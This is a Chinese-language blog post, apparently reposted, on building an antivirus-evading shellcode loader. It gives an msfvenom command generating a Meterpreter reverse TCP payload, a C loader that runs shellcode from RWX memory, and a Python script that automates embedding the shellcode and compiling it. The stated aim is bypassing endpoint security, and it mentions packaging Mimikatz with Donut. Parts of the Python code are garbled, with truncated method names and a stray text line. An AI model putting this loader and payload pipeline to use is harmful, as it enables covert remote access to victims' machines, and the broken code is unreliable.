通⽤Shellcode加载器
Shellcode加载器是⼀种基本的规避技术。尽管shellcode加载器通常可以促进payload的初始执⾏,但是启发式检测⽅法仍可以标记payload 的其他⽅⾯和⾏为。例如,很多安全产品可能会在内存中时对其进⾏检测,或者将特定的⽹络流量检测为恶意。我们将研究⼀些适合与加载器结合使⽤的后期开发框架,并研究如何嵌⼊其他类型的⼆进制⽂件(例如.NET和已编译的PE⼆进制⽂件)。
博客系列的第⼀部分将介绍使⽤Shellcode进⾏后期开发payload的基本要领。在第⼆部分中,我们将为加载器实现其他功能,并查看某些功能的⼀些优点和缺点。因为我们使⽤shellcode来避免基于签名的检测,所以重要的是限制安全解决⽅案创建启动程序签名的可能性。⼆进制混淆是避免基于签名的检测的⼀种潜在解决⽅案,我们将编写⼀个python脚本来⾃动化加载器的⽣成和混淆。
Shellcode简介
在攻击中我们需要在⽬标上执⾏某些shellcode。诸如Metasploit和Cobalt Strike之类的后期开发框架都有⾃⼰的shellcode,但是这些框架中的payload由于被⼴泛使⽤⽽具有很⾼的检测率。但是,它们提供了⼀些功能,可以让我们⾃由发挥。此外,使⽤易于检测的shellcode将有助于我们确定加载器的回避功能在开发过程中是否正常运⾏。
Metasploit和Cobalt Strike提供both staged和stageless payload。使⽤both staged的payload时,shellcode会更⼩,从⽽导致启动程序⼆进制⽂件更⼩。然⽽,与stageless payload相⽐,both staged的payload被发现的可能更⼤。这可能是因为来⾃服务端的⽹络流量被标记为恶意,或者是因为检测到了攻击者⽤来执⾏最终payload的⽅法。在这⽚博客中,我们将使⽤stageless payload进⾏规避,因为我们不关⼼在将payload加载到内存之前的检测。有关both staged与stageless payload的更多信息,请查看深⼊了解⽆负载计量表的负载 OJ Reeves的博客⽂章。
上图演⽰了如何使⽤msfvenom⽣成原始shellcode。我们指定payload连接的IP和端⼝,并将输出保存到⽂件中。处理⼤⽂件时,该head命令只能⽤于打印第⼀个字符。在这⾥,我们使⽤该-c参数仅输出前100个字符,然后我们可以将其通过管道传递xxd以获得shellcode的⼗六进制转储。
msfvenom –p windows/meterpreter_reverse_tcp LHOST=IP LPORT=port > stageless_meterpreter.raw
head –c 100 stageless_meterpreter.raw | xxd
TheWover 的Donut项⽬可⽤于创建与位置⽆关的shellcode,该shellcode可以加载.NET,PE和DLL⽂件。该⼯具将允许我们通过⽀持其他payload类型来扩展加载器的可⽤性。使⽤Donut,我们可以轻松地为Mimikatz,Safetykatz和Seatbelt等⼯具⽣成shellcode。
剖析Shellcode加载器
shellcode加载器是⽤C编写的,我们将使⽤Python⾃动插⼊shellcode并编译⼆进制⽂件。要在Linux上编译Windows可执⾏⽂件,我们将使⽤MinGW编译器。
#include <stdio.h>
#include <windows.h>
using namespace std;
int main()
{
char shellcode[] = "把shellcode粘贴到这⾥";
LPVOID lpAlloc = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(lpAlloc, shellcode, sizeof shellcode);
((void(*)())lpAlloc)();
return 0;
}
在这⾥,我们可以看到标准shellcode加载器的源代码。在本博客系列中,我们将为该加载器添加功能。包括四个主要部分。⾸
先,shellcode被定义为char变量,但是当前源代码具有⼀个占位符字符串,该字符串将在以后⾃动对其进⾏修改。然后,我们使⽤VirtualAlloc为shellcode分配内存。重要的是要注意,此内存页当前具有读取,写⼊和执⾏权限。之后,使⽤memcpy将shellcode移到新分配的内存页⾯中。最后,执⾏shellcode。
我们可以使⽤Msfvenom,Cobalt Strike和Donut⽣成的shellcode由原始字节组成。因为我们希望将payload嵌⼊到源⽂件中;我们必须将shellcode格式化为⼗六进制表⽰形式。可以使⽤⼿动解决⽅案hexdump,但是稍后我们将在Python中⾃动执⾏此步骤。
该hexdump命令将读取原始的shellcode⽂件并返回⼗六进制格式,可以将其嵌⼊源代码中。在上图中,我们将输出保存到⽂件中,然后使⽤该head命令来说明所返回的⼗六进制格式hexdump。
hexdump -v -e '"\\""x" 1/1 "%02x" ""' raw.bin >> hex_format
head –c 100 hex_format
如果#replace_me#使⽤⼗六进制格式的shellcode 替换源⽂件中的字符串,则可以使⽤MinGW对其进⾏编译。
i686-w64-mingw32-c++ shellcode_launcher.cpp -
⾃动化
尽管我们可以格式化shellcode并将其⼿动插⼊到源⽂件中,但是我们将编写⼀个简短的Python脚本来⾃动执⾏此过程。Python脚本将需要三个⽂件操作。它必须读取原始shellcode⽂件,读取源⽂件,然后将格式化的源代码写⼊⽂件,然后可以将其编译为最终⼆进制⽂件。
import binascii
import argparse
import subprocess
import os
def main(p_args):
签名字符串是什么
# Read source template
with open("launcher_template.cpp", "r") as input_template:
source_template = ad()
# Read input payload
with open(p_args.input, "rb") as input_shellcode:
raw_shellcode = ad()
# Convert raw binary to formatted hex
hex_data = binascii.hexlify(raw_shellcode).decode()
hex_file_content = r"\x" + r"\x".join(hex_data[n : n+2] for n in range(0, len(hex_data), 2))
# Insert the shellcode into the source code
output_file = place("#replace_me#", hex_file_content)
# Write our formatted source file
with open("compile_me.cpp", "w") as output_handle:
output_handle.write(output_file)
# Specify our compiler arguements
compiler_args = []
compiler_args.append("i686-w64-mingw32-c++")
compiler_args.append("compile_me.cpp")
compiler_args.append("-o")
if len(p_args.output) > 0:
compiler_args.append(p_args.output)
else:
compiler_args.append("")
# Compile the formatted source file
subprocess.run(compiler_args)
# Delete the formatted source file after it has been compiled
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='Protect your implants')
parser.add_argument("--input", help="Input file. Raw shellcode", type=str, required=True)
parser.add_argument("--output", help="Specify file output", type=str, default="")
args = parser.parse_args()
main(args)
我们argparse⽤来确定输⼊⽂件。通过使⽤binascii库;我们可以不使⽤hexdump命令将原始shellcode转换为⼗六进制。当前,源模板⽂件的路径被硬编码到python脚本中,但是可以很容易地对其进⾏修改,以允许⽤户使⽤该argparse库在不同的模板之间进⾏选择。此外,我们可以⾃动编译新格式化的源⽂件,然后在编译完最终⼆进制⽂件后将其删除。
使⽤x32dbg分析加载器
如果我们在调试器中运⾏可执⾏⽂件,我们可以检查如何执⾏shellcode。
在上图中,我们可以看到将shellcode复制到分配的内存页后会发⽣什么VirtualAlloc。之后memcpy被调⽤时,shellcode的地址从堆栈到移动EAX寄存器。
如果我们现在看⼀下中的值EAX;我们可以到shellcode所在的地址。
⼀旦我们有了地址;我们可以使⽤x32dbg中的“内存映射”标签到内存页⾯。如上图所⽰,包含shellcode的内存页⾯当前具有读取,写⼊和执⾏权限。要注意的另⼀件事是,我们可以在中看到⼀个具有与payload相同⼤⼩的附加内存页⾯.rdata。由于shellcode是未加密地嵌⼊⼆进制⽂件中的,因此防御者将能够在不执⾏启动程序⼆进制⽂件的情况下检测到恶意负载。
使⽤x32dbg,蓝⾊团队可以查看内存页⾯中的内容并将其导出到⽂件中,以便以后进⾏进⼀步分析。对
蓝⾊团队成员有⽤的注释是,即使payload在嵌⼊发射器⼆进制⽂件之前已被加密;通过在调试器中逐步执⾏,仍可以转储未加密的payload。
如果我们继续逐步执⾏,我们可以看到call eax执⾏后,指令指针跳到了shellcode。现在,当我们正常继续执⾏时,我们会在Cobalt Strike 中收到客户端连接。
结论
Msfvenom,Cobalt Strike和Donut使我们能够轻松⽀持各种不同的payload。但是,在使这些payload绕过端点安全解决⽅案之前,必须实现其他功能。虽然当前的加载器是基本的,但它是⼀个很好的基础,以后可以扩展。我们学习了如何格式化原始shellcode,以及如何将源代码编译为可执⾏⼆进制⽂件。另外,我们创建了⼀个Python脚本,该脚本可以⾃动完成该过程。

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。